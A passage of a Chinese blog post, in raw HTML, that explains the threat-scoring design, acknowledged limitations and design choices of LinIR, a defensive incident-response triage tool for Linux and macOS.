26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不是简单的&#34;有就报&#34;，而是</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">单点低分 + 组合高分 + confidence 分离</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/tmp</span></code><span leaf=""> 下有个可执行文件？仅 +10 分（可能是安装器解包）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">但如果它还在联网、还关联了持久化、还命中了 YARA？那就是 +10 +10 +10 +20 +10（combo）= 60 分，severity: high</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">父进程是 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">apt-get</span></code><span leaf="">？分值自动减半（suppress 机制）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">主机可信度 low？不直接堆分，而是降低 confidence 并记录到 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">integrity_flags</span></code></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这样干净系统趋近 0 分，真实威胁才会拉高分数。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">五、诚实说不足</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">IOC 监控的 PID 归属问题</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是目前最大的已知限制，也是花了最多时间解决的问题。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Linux 的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc</span></code><span leaf=""> 文件系统有一个根本性特点：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">进程退出后，它在 /proc 下的所有信息立即消失。</span></strong><span leaf=""> 这意味着如果一个进程（比如 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">curl</span></code><span leaf="">）发起了一个 HTTP 请求然后退出，从网络层看到连接的时候，进程可能已经不存在了——你知道有个连接去了恶意 IP，但你不知道是谁发起的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LinIR 的应对策略是多层的：</span></p><ol style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: decimal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">conntrack 事件驱动</span></strong><span leaf="">：在 SYN 阶段就捕获事件（此时进程还在）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">快速定向查找</span></strong><span leaf="">：不做全量 /proc 扫描，而是针对性地找 inode → PID（~10-50ms）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">多次重试</span></strong><span leaf="">：在 socket FD 消失前抢时间</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">pending 队列</span></strong><span leaf="">：抓不到就等下一次轮询补全</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">进程名回退</span></strong><span leaf="">：即使进程退出了，之前从 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/&lt;pid&gt;/comm</span></code><span leaf=""> 采到的名字还在</span></p></li></ol><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但对于极短命进程（&lt; 100ms），PID 归属成功率确实不是 100%。这不是代码 bug，而是 Linux /proc 的设计使然——</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">ss -tnp</span></code><span leaf=""> 也有同样的问题。完美解决需要 eBPF，但那会引入内核版本依赖，与 LinIR 的&#34;零依赖&#34;原则冲突。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">当前策略：事件不丢，PID 尽量补。</span></strong><span leaf=""> 补不到的标记为 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">pid_resolve_state: unresolved</span></code><span leaf="">，不影响事件本身的存在性。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">macOS 的能力边界</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">macOS 没有 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc</span></code><span leaf="">，没有 conntrack，SIP 会限制某些 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">proc_pidfdinfo</span></code><span leaf=""> 调用。当前通过 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/dev/bpf</span></code><span leaf=""> 抓包 + </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">proc_pidfdinfo</span></code><span leaf=""> 快照来工作，但：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">BPF 只能看到经过网卡的包，回环接口需要额外处理</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">UDP IOC 监控刚加入（之前只有 TCP SYN）</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">sysctl pcblist_n 的 PID 提取依赖结构体偏移，Apple 换版本可能失效</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">评分的局限</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">评分是&#34;基于规则的加权模型&#34;，不是机器学习。它能覆盖已知的攻击模式和异常模式，但：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">无法识别全新的、不匹配任何规则的攻击</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">组合规则需要人工设计，不能自动发现新的关联模式</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">suppress 机制基于进程名白名单，攻击者如果伪装成 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">apt-get</span></code><span leaf=""> 就能绕过</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">不是 EDR，不做持续监控</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">LinIR 定位是</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">一次性分诊工具</span></strong><span leaf="">。</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">watch</span></code><span leaf=""> 模式虽然可以持续运行，但它不会：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">自动修复或隔离威胁</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">向云端报告</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">与 SIEM 实时联动</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">自动更新规则</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">它的定位是给应急响应人员一个快速、可信、结构化的起点。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">六、一些设计选择的解释</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">为什么不用 eBPF？</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">eBPF 确实是 Linux 上最强大的内核观测工具。但：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: 